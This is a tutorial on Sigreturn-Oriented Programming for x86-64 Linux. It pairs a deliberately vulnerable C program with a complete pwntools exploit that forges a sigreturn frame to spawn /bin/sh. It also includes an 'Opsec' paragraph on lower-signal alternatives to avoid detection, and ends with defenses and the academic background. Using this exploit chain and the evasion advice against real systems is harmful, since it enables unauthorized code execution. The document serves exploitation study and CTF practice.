Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Sigreturn-Oriented Programming (SROP) is a ROP variant that sets the entire CPU register state in a single step by abusing the kernel’s signal-return mechanism. When a signal handler finishes, the kernel restores every saved register from a sigcontext structure that was pushed onto the user stack when the signal was delivered. SROP forges that structure by hand: lay a fake sigcontext on a stack you control, invoke the rt_sigreturn syscall, and the kernel obligingly loads rax, rdi, rsi, rdx, rsp, rip, and the rest from your forged frame — no per-register pop gadgets required.
The appeal is gadget economy. A full ROP chain to call execve("/bin/sh", 0, 0) needs gadgets to load rdi, rsi, rdx, and rax, plus a syscall. SROP needs only two things: the ability to trigger rt_sigreturn (syscall number 15 on x86-64) with rax = 15, and a syscall; ret instruction. Everything else — including the final register values for the real syscall you want — comes from the forged frame. This makes SROP invaluable in extremely gadget-poor binaries, such as tiny statically linked or nolibc targets. pwntools models the frame with SigreturnFrame.
Attack Prerequisites
SROP trades gadget breadth for a few specific requirements:
- Control of a large, known-address stack region to hold the forged
sigcontext(roughly 248 bytes on x86-64) thatrt_sigreturnwill consume. - A way to set
rax = 15and reach asyscallinstruction — often apop rax; retgadget, or the classic trick of using a syscall whose return value lands 15 inrax(e.g. areadof 15 bytes). - A
syscall(orsyscall; ret) gadget somewhere executable; static binaries and libc both contain these. - A target of the final syscall — for a shell, the
"/bin/sh"string must exist at a known address or be written into a known writable region first.
How It Works
On x86-64 Linux, signal delivery pushes a rt_sigframe onto the user stack; its core is a sigcontext (a struct sigcontext / ucontext_t member) containing saved copies of the general-purpose registers, rip, rsp, eflags, the segment/cs fields, and a pointer to FP state. The rt_sigreturn syscall (number 15) is what the signal trampoline calls when the handler returns; it reads that sigcontext off the stack and copies the values back into the real registers before returning to userland at the restored rip with the restored rsp. The kernel does essentially no validation of the values — that is the whole vulnerability class.
SROP forges the rt_sigframe directly. Because the frame includes both rip and rsp, one rt_sigreturn performs an arbitrary register set plus an arbitrary jump in a single transaction. The standard payoff is to set rax = 59 (execve), rdi = &"/bin/sh", rsi = 0, rdx = 0, and rip = &(syscall; ret), so that immediately after the frame is restored the CPU executes the execve syscall you configured. The cs, ss, and eflags fields must be plausible (matching normal userland values) or the return faults.
The bootstrap is the only subtlety: you must first get rax = 15 and reach a syscall. If a pop rax; ret gadget exists, it is trivial. If not, the canonical alternative chains a read: read returns the number of bytes read in rax, so arranging a read of exactly 15 bytes leaves rax = 15, and the following syscall becomes rt_sigreturn. From there the forged frame takes over completely.
Why does the kernel accept a frame the attacker fabricated? Because rt_sigreturn is architecturally required to restore whatever the signal delivery path saved, and it has no way to distinguish a genuine, kernel-pushed sigcontext from a forged one — both are just bytes on the user stack at the moment the syscall runs. The kernel does sanitize a handful of fields for safety: certain eflags bits are masked, and the segment registers / cs are forced to sane userland selectors so a frame cannot request kernel privilege. But the general-purpose registers, rip, and rsp are restored verbatim, which is the entire exploitation surface. This is also why SROP is remarkably portable across kernel versions: the frame layout is part of the stable syscall ABI, so a correctly built SigreturnFrame works the same way across a wide range of kernels without per-version tuning.
Vulnerable Code / Setup
A deliberately minimal, statically linked target with a stack overflow and almost no convenient gadgets — the environment where SROP earns its keep:
// gcc -static -fno-stack-protector -no-pie -o srop srop.c
#include <unistd.h>
void vuln(void){
char buf[64];
read(0, buf, 1024); // BUG: large overflow, controlled stack
}
int main(void){ vuln(); return 0; }
CStatic linking gives fixed addresses for a syscall; ret and typically leaves a "/bin/sh" string somewhere in the image, so no leak is needed. checksec confirms No PIE and no canary; NX is irrelevant because SROP never executes injected code:
$ checksec --file=./srop
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
TEXTWalkthrough / Exploitation
pwntools builds the forged sigcontext with SigreturnFrame; set the fields you care about and it serializes the full ~248-byte structure with correct offsets and default cs/ss/eflags. First locate the primitives — a syscall; ret, a pop rax; ret, and the "/bin/sh" string:
from pwn import *
context.binary = elf = ELF('./srop')
io = process('./srop')
rop = ROP(elf)
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
binsh = next(elf.search(b'/bin/sh\x00'))
PythonNow craft the frame for execve("/bin/sh", NULL, NULL). rip points at the syscall gadget and rax holds 59; the frame supplies all three arguments and a sane rsp:
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh # '/bin/sh'
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # execute the execve syscall
frame.rsp = elf.bss(0x800) # a valid stack for after return
PythonFinally assemble the overflow: fill to the saved return address, trigger rt_sigreturn by loading rax = 15 and hitting the syscall gadget, and place the serialized frame immediately after so the kernel reads it as the sigcontext:
OFF = 64 + 8
payload = b'A' * OFF
payload += p64(pop_rax) + p64(15) # rax = 15 -> rt_sigreturn
payload += p64(syscall_ret) # invoke rt_sigreturn; consumes the frame
payload += bytes(frame) # the forged sigcontext
io.send(payload)
io.interactive() # $ id; cat flag
PythonWhen the syscall at rax = 15 runs, the kernel pops the forged sigcontext off the stack and restores every register from it — including rax = 59, the three execve arguments, and rip pointing back at the syscall gadget — then returns to userland already primed to execute execve("/bin/sh", 0, 0). Two gadgets, one string, a shell.
Note: The
"/bin/sh"string is often the missing piece. If the binary contains no such string, chain an SROPreadfirst: forge a frame that callsread(0, writable, 8)withrippointing at a secondsyscall; ret, send"/bin/sh\x00"into a known.bssaddress, then chain a second forged frame forexecve. SROP frames compose because each can setrspto point at the next frame.
Opsec: SROP requires no libc leak and no NX bypass, so it is exceptionally reliable, but the final
execve("/bin/sh")is an obvious behavioral signature. Where a shell is unnecessary, an SROPmprotect+read-shellcode or a direct file-read syscall chain is lower-signal than spawning/bin/shunder a network daemon.
Detection and Defense
SROP abuses a legitimate kernel feature, so defenses focus on denying the preconditions and detecting the anomaly:
- Stack canaries and fortified source to prevent the overflow that supplies the controlled stack for the forged frame.
- PIE + ASLR so the
syscall; retgadget,"/bin/sh"string, and writable staging addresses are not at fixed, guessable locations. - seccomp-bpf syscall filtering — a sandbox that blocks
execve/execveat(and, more aggressively, unexpectedrt_sigreturnoutside real signal handling) sharply limits what a forged frame can achieve. - Intel CET shadow stacks which detect the mismatched return/
riptransitions characteristic of ROP-style control-flow hijack. - seccomp/audit alerting on
execvefrom long-running network services to catch the terminal shell spawn.
Real-World Impact
SROP was formalized in academic work by Bosman and Bos (“Framing Signals — A Return to Portable Shellcode,” IEEE S&P 2014), which showed that signal-return restoration is a portable, Turing-complete exploitation primitive across several UNIX-like systems. In practice it is the go-to method for exploiting gadget-starved static binaries and tiny CTF targets where conventional ROP cannot assemble enough register-loading gadgets. Its enduring importance is conceptual as much as practical: it demonstrated that a benign, deeply embedded OS feature can itself be the exploitation engine, which motivated seccomp filtering of rt_sigreturn and hardware control-flow integrity.
Conclusion
SROP collapses register setup into one operation by forging the sigcontext that rt_sigreturn restores. With only a syscall; ret, a means to set rax = 15, and a known stack, you set every register at once and drop into execve("/bin/sh"). pwntools’ SigreturnFrame makes the forged structure a handful of field assignments. It is the exploitation technique of choice when gadgets are scarce, and a vivid reminder that the signal machinery — trusted, portable, and barely validated — is squarely part of the attack surface.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments